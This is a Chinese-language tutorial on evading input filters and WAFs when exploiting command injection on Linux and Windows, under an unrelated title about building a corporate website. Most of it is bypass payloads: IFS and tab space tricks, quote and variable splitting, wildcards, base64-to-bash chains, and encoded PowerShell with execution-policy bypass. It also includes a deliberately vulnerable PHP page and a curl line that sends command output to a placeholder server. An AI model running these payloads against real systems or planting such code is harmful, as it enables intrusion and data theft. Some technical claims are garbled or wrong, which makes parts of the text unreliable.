企业官网建设流程全解析

1. 从0到1认识RCE，以及为什么“绕过”是必修课

如果你做过渗透测试或应急响应，一定见过这种场景：扫描器报了一个“命令注入”，你兴冲冲地打开BurpSuite，构造了一个127.0.0.1;whoami，结果返回了。正当你以为万事大吉，提交漏洞报告时，甲方爸爸回了一句——生产环境WAF拦了所有带分号的关键字，你这个payload根本打不进去。这时候你才意识到：能打穿一个漏洞不算本事，能在层层过滤之下打穿才算。

这篇文章就围绕RCE漏洞的绕过艺术展开，重点聊Windows和Linux下完全不同的绕过思路。RCE这个词拆开看就是Remote Code/Command Execution，远程代码执行和远程命令执行经常被混着叫，但严格来说一个有代码执行环境（比如PHP的eval、Java的Runtime），一个走系统Shell（CMD、Bash）。很多入门的人只学会了注入，没学会绕，结果在真实环境里处处碰壁——因为开发者的安全意识越来越强，代码里普遍存在把危险字符直接写死的过滤逻辑，而WAF类产品也把常见payload特征摸得清清楚楚。要真正掌握RCE，必须同时理解两个层面：第一层是漏洞本身怎么触发，第二层是漏洞被过滤后怎么弯道超车。

这篇文章适合三类人：第一类是安全初学者，想系统理解RCE的利用方式；第二类是渗透测试和红队人员，需要绕过WAF和代码级过滤来完成授权测试；第三类是开发者和运维，想搞清楚为什么$_GET['cmd']这种东西绝对不能直接丢给system。下文会按照“理解过滤机制 → 掌握分隔符差异 → 逐个击破关键字与空格限制 → 结合企业环境实战”的顺序推进，尽量覆盖我们在实际测试中真正用得上的高频技巧。

2. 先搞清楚服务端到底在过滤什么

2.1 常见过滤手段盘点：黑名单、白名单、参数化与转义

我在做众测和授权评估时发现，开发者对输入过滤的理解普遍停留在“把危险字符替换成空”这个层面。最常见的是黑名单拦截，直接在代码里堆一串字符：; | & > <以及whoami cat /bin/sh这类关键字。这种方案的缺点非常明显——过滤列表维护成本高，总能在变种里漏掉一两个。另一种更严格的是白名单校验，只允许0-9、.、IP地址格式等特定模式，这种情况能绕的空间就小很多，往往只能结合业务逻辑本身找突破口。

还有一种很隐蔽的处理方式叫“转义而非删除”。比如PHP的escapeshellcmd和escapeshellarg，前者对& | ; $ ( ) < >等字符加反斜杠，后者额外处理单引号。很多新手以为用了这些函数就安全了，但实际上如果拼接的位置在双引号内、或者变量传进了某个参数值而不是参数名，仍然可能出现意外。我曾经在一次代码审计中看到系统把用户输入塞到system("ping -c 3 " . $ip)里，虽然做了escapeshellcmd，但变量值里的空格被转义后恰好断开了参数结构，还是造成了注入。

2.2 绕过思路的底层逻辑：解析差异、特征打乱与能力复用

把过滤手段看多了之后，你就会发现绕过思路其实有迹可循，完全可以用三个维度去概括。

第一个维度是解析差异。服务端代码理解用户输入的方式和系统Shell理解命令的方式之间存在缝隙。开发者以为是安全的过滤，在Shell的眼里可能根本不算数。比如Winodws CMD对特殊字符的处理、Bash的变量展开机制、PowerShell的解析顺序，都和PHP/Java代码的字符串处理逻辑不一样。你在应用层把whoami替换成了空，但Shell执行前可能已经把wh和oami拼接在了一起。

第二个维度是特征打乱。WAF和静态扫描器都依赖正则匹配特征，而代码执行前系统会经过多次解释。只要把敏感关键字拆开、编码、用变量拼起来，让静态特征消失，就能绕过正则。这就像快递单上的收件人名字被拆成两个字写在两行，快递员依然能送到，但机器扫描不出完整姓名。

第三个维度是能力复用。系统里本来就存在能执行命令的合法对象，比如Linux下的find -exec、awk system()，Windows下PowerShell的Invoke-Expression、Get-Command的别名机制。当直接调用system被拦截时，这些日常工具反而成了绕过跳板。很多开发者根本没想到curl、wget这类基础命令也能在设计不当的过滤系统里被改造成执行管道。

2.3 环境准备：搭建自己的学习靶场

本文所有技巧建议都在本地虚拟机里验证一遍，不要直接在公网环境测试。我用的是某云主机加本地Docker组合，搭建了一个模拟命令执行的PHP页面，代码长这样：

<?php $cmd = $_GET['cmd']; system("ping -c 3 " . $cmd); ?>

这个页面就是典型的“参数直接拼接”场景，后续所有绕过技巧我都以它作为基础说明。建议你也在自己的环境里搭一个同样的，方便对照验证。搭建时注意两点：Docker容器和宿主机之间的网络隔离要配置好，学习用的容器不要映射到公网端口；PHP环境不要用宝塔面板默认配置，装上最基础的php:apache镜像就够了。如果你更想贴近真实内网环境，也可以把同一套代码部署在Windows下的XAMPP里，体验跨平台差异。

3. Linux下的RCE绕过实操详解

3.1 空格绕过：${IFS} 与 $IFS$9 的组合拳

Linux命令注入最常见的拦截就是过滤空格。为什么？因为ping 127.0.0.1; whoami里如果空格被删掉，就变成了whoami前面的破坏性拼接，命令完全不可读，大多数情况下也就失效了。但Bash有一个内置变量叫IFS（Internal Field Separator），默认值是空格、Tab、换行。当你把$IFS插进命令里，Shell在执行前会把它展开成空格。

所以127.0.0.1;whoami被过滤空格时，可以写成：

127.0.0.1;whoami$IFS-a

注意我后面还跟了-a，因为whoami -a在部分系统上会输出更多信息，我们真正关心的是$IFS能否在命令中充当空格。实际测试中，直接写$IFS有一个坑：如果后面紧跟字母，某些Bash版本会尝试把IFSxxx整体当成变量名展开。这时候需要插入一个空参数变量$9，它在Bash中默认是空的，但能隔断变量名解析：

127.0.0.1;whoami$IFS$9-a

从原理上说，$IFS$9展开后就是“空格 + 空字符串”，Shell解析命令时完全合法。但如果WAF连IFS这个关键字都过滤了，怎么办？可以换用URL编码后的Tab替代，也就是%09。在HTTP请求中把payload写成127.0.0.1;whoami%09-a，如果服务端没有把%09还原成Tab传给Shell，那就是另一个漏洞；如果还原了，Tab和空格一样都是Shell的分隔符。

这里额外说一个我在实际测试中发现的细节：有些PHP代码做了str_replace(' ', '', $cmd)，它只删ASCII空格，不处理Tab和换行。URL解码后的%09、%0a（换行符）都能直接穿透。但换行符要小心，它可能把命令截断为多行，反而引发语法错误。所以 Tab 通常是比换行更稳妥的选择。

3.2 关键字过滤的四大流派：拼接、通配符、编码、花式引用

当whoami、cat、ls这类关键字被写入黑名单时，单纯替换大小写（WhoAmi）在Linux下是没用的，因为Linux命令严格区分大小写。但别急，有四个更实用的流派。

拼接流派的核心是Shell的变量展开能力。先把命令拆成两段，定义成变量，再让Shell合并执行：

a=who;b=ami;$a$b

这个在Bash下直接执行会输出当前用户。如果过滤得比较严格，不允许使用=赋值符号，还可以利用无参数的$@和$*隔开被过滤的关键字：

who$@ami

$@在双引号外展开为空字符串，Shell解析时会变成whoami。同理还有$*，它们在命令中间充当“占位但不产生内容”的角色。Bash 3.x 以上版本实测有效。

通配符流派利用的是Shell的路径展开机制。比如cat /etc/passwd被过滤了cat，可以写成：

/bin/c?t /etc/passwd

?匹配任意单一字符，*匹配任意长度字符串。如果连/bin/也被过滤，可以用：

/???/??t /etc/passwd

只要/bin/cat路径下唯一匹配/???/??t的只有它就行。但高版本的Linux发行版中/bin可能是指向/usr/bin的软链接，通配符物理路径可能不匹配，所以通配符流派更适合在没有符号链接的嵌入式设备或老系统上使用。

编码流派在命令注入里用得最多的是Base64和十六进制。思路是先构造出原始命令的编码字符串，再交给Shell解码执行：

echo d2hvYW1pCg== | base64 -d | bash echo 77686f616d69 | xxd -r -p | bash

这里d2hvYW1pCg==是whoami加换行的Base64编码，77686f616d69是其十六进制表示。核心思路是：服务端黑名单匹配的是原始命令关键字，而编码字符串完全没有敏感特征。但是要注意，base64 -d这个调用本身可能被过滤，因为base64也是关键字。这时候可以结合变量拼接：b=base64;echo d2hvYW1p | $b -d | bash。编码流派在WAF场景下尤其好用，因为流量里不再出现明文命令。

花式引用流派则是利用Bash对引号的处理规则。w"h"o"a"m"i和'wh''oam'都会在Bash中被还原成whoami，因为Bash在单词拆解时会删除所有未被引用的引号。单引号或双引号包裹的字符最终都会拼接在一起。这类payload对于静态正则来说几乎是免疫的，因为正则很难覆盖所有引号排列组合。

3.3 命令分隔符的灵活运用：分号被拦用什么替代

很多过滤规则首先拦截分号;，因为它是命令注入里最直白的连接符。但你打开Bash的语法手册会发现，能起分隔作用的远不止分号。

只要业务代码没有对&&、|、||做同步过滤，就能替换掉分号。比如原始payload是127.0.0.1;whoami，改写成127.0.0.1&&whoami依然能执行，而且大多数WAF对&&的敏感度反而不如单独的分号。$()也是一个利器，它可以把命令的返回值直接作为另一个命令的参数。

127.0.0.1$(whoami)

如果这段代码是system("ping -c 3 " . $cmd)，那么$(whoami)会在拼接到ping参数之前就被Bash展开，相当于ping命令收到了一个包含用户名的参数名。这不会直接显示命令输出，但你可以利用错误回显来确认命令是否执行了——如果返回值里出现了用户名，说明注入成功。

3.4 Bash独有的隐晦特性：花括号与注释符构造变形

Linux绕过里还有一招天然的优势：Bash的语法比CMD复杂得多，可利用的怪癖也多得多。花括号展开就是一个典型。写法{who,ami}在Bash中会展开成whoami和ami两个单词，前者恰好是命令，后者成了参数。如果你输入{cat,/etc/passwd}会把cat命令和路径一起展开，但注意顺序：花括号展开的结果是两个独立的词，命令只有第一个有效。所以这种写法更适合用来增量构造命令：

{cat,/etc/passwd}

它本质上等于cat /etc/passwd。由于花括号和逗号都不是常见的命令注入特征，很多正则只匹配cat /etc/passwd的完整形态，看到花括号就会懵。

注释符#也有妙用。如果代码在命令后面又拼接了参数，可以输入#把后面所有内容注释掉。例如程序原本执行的是system("ping -c 3 " . $cmd . " > /tmp/result.txt")，你可以传127.0.0.1;whoami#，让#之后的> /tmp/result.txt全部变成注释，避免重定向干扰输出。

还可以利用$0来间接执行命令。$0在Bash中表示当前Shell本身，在脚本里是脚本名，但在交互式Shell中就是/bin/bash。如果过滤规则把/bin/bash或sh写进了黑名单，你可以用$0去触发子Shell，再配合管道符传入命令。不过这种玩法的稳定性不是很强，实际测试时更多是抱着“试一下”的心态。

4. Windows下的RCE绕过实操详解

4.1 CMD与PowerShell：完全不同的解析逻辑

Windows的命令注入不能照搬Linux思路，因为CMD和PowerShell的处理机制差异实在太大了。CMD是小写不敏感但单字符^才是转义符，PowerShell则自带一套完整的对象管道系统。很多入门测试者拿Linux的payload直接打Windows站，结果发现完全不通，然后怀疑目标没有漏洞——其实只是没理解Windows的命令解析机制。

先记一个关键点：在CMD中，命令是不区分大小写的，所以WHOAMI、WhOaMi都能执行。这直接导致大小写绕过在Windows下一点用都没有——因为根本不需要绕。Windows和Linux最本质的区别在于：Linux用/作为路径分隔符，理论上所有合法文件名字符都有可能在命令中出现；而CMD的\和/在路径解析上经常混用，导致路径相关的过滤规则很难写全。

和Linux Bash不同，CMD没有内置的IFS变量这类好用机制。想要绕过空格，你面对的是另一套玩法：利用Tab字符、空引号、或者%TAB%预存变量。比如whoami和whoami之间插入Tab，CMD同样可以执行，但如果服务端只删了空格没删Tab，拦截就失效了。

PowerShell则比CMD更复杂。它不仅可以执行系统命令，还能加载.NET对象、调用Win32 API。这意味着它的绕过手法数量远超CMD。一个典型的PowerShell优势是：所有cmdlet都有别名。比如Get-ChildItem有别名ls、dir，Invoke-Expression有别名iex。当你用编码字符串构造powershell -enc时，整个过程只包含合法参数，几乎不会触发关键字匹配。

4.2 Windows下如何绕过空格与分隔符限制

Windows应用层的输入过滤经常只针对空格。CMD处理空格时有个很有意思的特性：一个被双引号包裹的空字符串""放在命令和参数之间，不会被当作参数，而是被CMD直接吞掉，相当于一个分隔符。

whoami""-a

如果你要执行两条命令且分号、&&都被过滤，Windows还提供一个额外的选择：|管道符在CMD中既能把前一个命令的输出传给后一个命令，也可以被当作语句分隔符（尽管它的副作用是输出没有直接显示）。在实际测试中，ping 127.0.0.1 | whoami在CMD下会执行whoami，但输出可能不会像预期一样直接回显。遇到这种情况可以改把命令写到临时文件再用type读取。

Windows下URL编码的空格替代符号是%20，但在CMD里Tab也管用；还有一个小技巧是使用%TAB%环境变量——有些Shell环境里%TAB%被预先定义成了Tab字符。输入whoami%TAB%-a就能在不需要实际Tab字符的情况下消解分隔问题。

还有许多人忽略的是Windows文件名中的.号特性。CMD解析whoami.时，会先尝试执行whoami，如果没找到带点的文件名，再退到不带点的命令解析路径。这就能用whoami.绕过针对命令后无字符的匹配逻辑。同理还有.\whoami、.\whoami.exe，都能通过路径前缀掩盖真实命令名。

4.3 Windows关键字绕过：大小写、变量拼接与PowerShell编码

Windows命令大小写不敏感，所以大小写变体不是一个绕过维度，而是一个“再简单不过”的执行确认。真正有价值的手段是变量拼接。CMD使用百分号%做环境变量引用，比如%a%是变量a的值。一个经典思路是：

set a=who set b=ami call %a%%b%

这个call是关键。直接执行%a%%b%时CMD会把它当成一个变量名去查找，大概率查不到，而call会让CMD在运行时重新扫描这一行并执行解析出来的whoami。如果你不想触发set关键字检测，也可以利用%ComSpec%这类系统自带的环境变量做字符截取，但这就涉及更底层的字符操作了，稳定性差一些。

PowerShell的绕过空间大得多。最简单实用的是使用反引号转义：

w`h`o`a`m`i

反引号在PowerShell里表示转义下一个字符，所以执行时PowerShell会先去掉引号再执行whoami。这种方法构造的字符串不包含完整的whoami字样，对静态正则几乎是隐形的。

另一个稳定的手法是单引号字符串拼接：

'who'+'ami'

PowerShell会把相邻的单引号字符串拼接成一个字符串再求值，如果写成& 'who'+'ami'还能以调用操作符执行。iex配合编码则更“暴力”：

powershell -ep bypass -enc SQBFAFgAKAAiAHcAaABvAGEAbQBpACIAKQ==

这个base64字符串解码后是IEX("whoami")，-ep bypass绕过了本地执行策略限制。服务端过滤黑名单基本不可能把这个编码后的字符串识别出来。注意这里IEX本身就是Invoke-Expression的别名，连关键字都不需要出现在明文中。

4.4 利用系统特性：环境变量截取与短路径执行

Windows环境变量的值是可以切片提取的，这给构造任意命令提供了素材。原理是CMD支持%VAR:~start,len%语法。经典案例是用%COMSPEC%（通常是C:\WINDOWS\system32\cmd.exe）提取出cmd字符，重新组合成别的命令。

举一个非常经典的构造过程：想执行whoami，可以先用%COMSPEC:~0,1%取到盘符c，再用%COMSPEC:~10,1%等位置取到其他字符，把字符拼成w、h、o对应的路径片段。这种方式构造的payload几乎可以绕开任何内容特征过滤，唯一的缺点是脚本太长、调试成本高。实际渗透中我很少从头拼完整命令，更多是拼几个核心字母再配合字符串连接符使用。

短路径8.3格式则利用了Windows老式文件命名规则。在cmd /c dir /x输出长文件名时，每条记录旁边会显示类似WHOA~1.EXE的短名。某些命令执行场景下，短路径可以规避针对长路径的过滤规则。不过这个技巧在较新的Windows 10/11上已经越来越不可靠，因为系统默认关闭了8.3短名生成（特别是C:这类系统盘），所以它也更多作为备选方案存在。

5. 过滤对抗从理论到实战：企业环境下的绕过整合

5.1 黑盒视角：先侦察后决策，不要盲目堆payload

进到一个授权测试项目里，面对一个带参数的系统，我不会一上来就扔一堆payload。先做静态判断：源码是哪个框架写的、参数位置有没有引号包裹、返回包里有没有执行报错信息。比如PHP的system()函数执行错误会直接在页面上回显“sh: whoami: command not found”，这就意味着命令解析已发生但找不到对应命令。

然后做动态探测，用无害参数验证分隔符是否生效，比如：

127.0.0.1;echo ZYTEST 127.0.0.1&&echo ZYTEST 127.0.0.1|echo ZYTEST

哪个回显了ZYTEST，说明哪个分隔符可用。这一步的核心价值是把“理论存在”变为“环境确认”，避免在不可用的payload上浪费精力。很多初学者犯的错恰恰是先一口气把所有payload都发一遍，触发了大量日志告警，却连哪个生效都分不清。

5.2 编码与嵌套：多层混淆的组合拳

WAF用的正则一般由安全厂商维护，它们会同时匹配eval、system、=、$、whoami、cmd等大量特征，但很少会把所有编码层都展开检查。因此真实环境最高效的绕过方式是嵌套编码：先把命令做一次Base64，再把整个payload做一次URL编码，甚至把关键字用变量替换后塞进函数参数里。

举例说明，目标是执行whoami，你可以这样设计流程：

1. 先对whoami做Base64编码得到d2hvYW1p；
2. 用Bash解码执行：echo d2hvYW1p | base64 -d | bash；
3. 再把整条命令拼接到空格绕过中：127.0.0.1$(echo d2hvYW1p|base64$IFS-d|bash)。

此时静态流量里出现的关键字只有base64和bash，如果这两个也被拦，则继续用变量拼接：b=bas;a=e64;echo d2hvYW1p|$a$b -d|bash。最终payload已经很难被特征库精确识别了。

PowerShell同理，可以在-enc基础上再叠加变量展开。$env:comspec指向cmd的绝对路径，但你不能直接写$env:comspec，可以先赋值$z=$env:comspec，再用$z调用cmd。注意PowerShell的变量名也是大小写不敏感的，$Z和$z完全相同，多余的大小写替换并不会增加什么拦截复杂度。

5.3 免杀与混淆的现实边界：有些坑踩过一次就长记性

我在一个授权的内网渗透项目里遇到过非常典型的情况：目标系统把$_GET['ip']拼接进ping命令，过滤逻辑是用正则删除了;、&&、|以及所有白名单之外的字符。刚开始我用Tab替换空格无效，因为代码把\t也替换掉了；用${IFS}无效，因为代码把$和{}都替换了。最后是通过URL编码跨越了检查——参数值到达PHP时是%31%32%37%2E%30%2E%30%2E%31%0Awhoami，而代码在处理时没有先解码，过滤正则面对的是编码文本，完全不知道里面有换行符。最终换行符和whoami被拼接进了命令。这个案例给我们的启发是：过滤顺序和编码顺序的错位是最容易出漏洞的地方。

但也要泼一盆冷水：绕过不是万能的。如果目标代码用了白名单正则（只允许IP字符），那无论怎么编码都打不穿；如果命令执行函数前面强制加了类型校验或者把参数放在单引号内，空间也极其有限。做测试时必须接受“这个点打不动”的现实，不要在一个参数上死磕到底，换个入口往往效率更高。

6. 常见问题与排查技巧实录

6.1 为什么payload看起来没问题却不回显

这是频率最高的疑问。多数情况是命令执行了但输出没被返回。例如代码用system()以外的函数执行命令时不一定回显输出。PHP的exec()只返回最后一行，shell_exec()返回完整输出但需要echo。如果代码里直接静默执行，你自然看不到结果。

排查手段是靠延时判断或者DNS外带。延时可以用sleep 5（Linux）或ping -n 5 127.0.0.1（Windows）让响应时间变长，证明命令被执行了；一旦确认执行，再想办法把结果写到可访问路径：curl http://your-server/?data=$(whoami)或whoami > /var/www/html/x.txt。我在测试环境的做法是在可控的服务器上起一个HTTP监听，用带外通道接收命令结果。

6.2 过滤了空格也过滤了分隔符，还能怎么办

如果空格和所有常见分隔符都被过滤，基本等于把注入点围死了，但不绝对。还有一种思路是利用命令替换的嵌套位置。假设程序执行的是system("perl -e 'print $input'")，那么$input里包含$(whoami)时，Bash先展开命令替换，再把结果作为perl的参数。这时候空格过滤是拦不住$()的，因为命令替换里允许包含空格而不需要在外部出现分隔符。在Web环境中可以尝试把注入点移动到$()内部，让外部不再需要空格和分号。

如果连$()都被过滤，就得考虑换协议边界了。比如PHP场景下直接改HTTP头、Cookie、文件上传文件名等位置，让它们作为二次注入的入口。

6.3 排查技巧速查表

6.4 测量工具与调试建议

本地调试时最好的伙伴是BurpSuite和浏览器的开发者工具。Burp的Repeater功能可以快速修改参数、观察响应；如果目标使用HTTPS，记得装好证书否则抓不到明文。Linux下调试命令时，多用set -x查看实际展开后的命令内容：

bash -x -c 'echo d2hvYW1p | base64 -d | bash'

这会逐行打印Shell到底执行了什么，很多混淆技巧能不能用，一跑便知。Windows下调试CMD可以用cmd /v:on /c开启延迟变量展开，看看变量切片是否按预期工作。PowerShell调试则可以在命令前加Trace-Command或者在VS Code里逐步执行。

7. 一些个人经验与结语（无总结）

说回文章开头那个处处碰壁的场景。我自己的体会是：把“能用payload打进去”和“能绕过过滤打进去”分开来训练，后者才真正体现对操作系统的理解深度。所以我平时做练习时故意给自己加限制——禁用分号、禁用空格、禁用cat，强迫自己用不同的方式达成同一个目标。Bash和PowerShell本身就是极其灵活的解释器，它们提供的解析特性就是对过滤规则最大的威胁。你在本地把这些特性吃透了，遇到真实环境才不至于当场翻书。

最后分享一个小技巧。当你构造特别长的payload时，优先使用短编码串和尽量少的换层。实践下来，三层编码（URL→Base64→变量拼接）基本是收益最高且稳定的组合，再多叠一层往往只是让调试变得更痛苦。测试时记得先小后大——先用无害命令确认哪个解析路径通，再放真正的核心载荷。如果页面没有任何变化，也别灰心，把流量记录下来，在本地用同一个命令解析器复现一遍，多半能发现是自己哪一步的语法写错了。